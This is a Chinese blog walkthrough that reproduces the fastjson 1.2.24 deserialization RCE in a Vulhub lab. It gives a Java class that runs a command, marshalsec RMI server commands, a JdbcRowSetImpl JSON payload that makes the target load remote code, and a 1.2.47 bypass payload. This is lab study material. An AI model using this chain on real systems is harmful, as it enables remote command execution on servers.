码迷,mamicode.com
首页 > Web开发 > 详细

fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤

时间:2020-05-07 20:11:46      阅读:232      评论:0      收藏:0      [点我收藏+]

标签:python   jdbc   监听   har   lse   简单   port   tps   version   

记录一下

1、在网上突然发现这个漏洞,就去尝试复现了一下,本次不记录漏洞形成原因,只记载复现

2、首先Fastjson百度了解一下只知道是一个java库,搜寻一下靶场环境搭建,网上大部分的都比较繁琐, 个人推荐可以使用Vulhub搭建是和docker一起使用的官网地址:https://vulhub.org/  (上面有安装详解)

3、环境搭建好之后打开目标(在8090端口)

技术图片

 

3、这里唠叨一下,网上大部分,要不就直接给一个payload,要不就是大佬们在研究漏洞成因,(攻击环境搭的我头疼)

   其实Vulhub上面有复现步骤,只是菜狗一枚,不懂的太多

4、下面是攻击第一步,先生产一个类文件,(菜如狗的我,只知道是个java文件,怎么编译我一脸懵,搜了三四个小时,还下载了idea),

  1)本地安装有java环境 

  2)新建个txt文件复制代码进去重命名为TouchFile.java

  3)cmd进入文件目录运行  

javac TouchFile.java

 4)你就会发现生成一个class文件

 

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

5、接下来,先安装maven (WIN10)

  1)官网:http://maven.apache.org/download.cgi 

   2)下载apache-maven-3.5.3-bin.zip 并解压

   3)添加环境变量 

添加 M2_HOME 和 MAVEN_HOME 环境变量到 Windows 环境变量,并将其指向你的 Maven 文件夹

  

Path环境变量添加 %M2_HOME%\bin

  4)测试

mvn -version

6、把编译好的class文件传到外网系统中。并在class文件所在的目录,使用python开启监听:

python -m SimpleHTTPServer 4444

可以访问验证一下是否开启,是否把class文件放进入

7、然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class  

   1)项目地址

https://github.com/mbechler/marshalsec

 2)项目编译(去项目目录下执行命令)

mvn clean package -DskipTests

 3)会生成 marshalsec-0.0.3-SNAPSHOT-all.jar 这样一个文件

 4)执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚class文件的ip或域名/#TouchFile" 9999

 

 8、这个时候攻击环境已经准备就绪了 ,然后直接执行payload就可以了

 

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://同上类文件地址:9999/TouchFile",
        "autoCommit":true
    }
}

9、验证是否成功执行

技术图片

 

 

 10、如果想执行其它命令,修改最初的java文件重新操作即可

技术图片

 

 

 以上是我遇到坑,一步一摔,详细记录下测试步骤,

11、简单看了下Fastjosn1.2.47远程命令执行漏洞,操作步骤合上一样只是利用的函数不一样,从而进行绕过,修改最后payload里函数即可

 比如:

{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

顺便贴一下自己攻击成功和失败的包

技术图片

 

 

技术图片

 

fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤

标签:python   jdbc   监听   har   lse   简单   port   tps   version   

原文地址:https://www.cnblogs.com/ssan/p/12844868.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!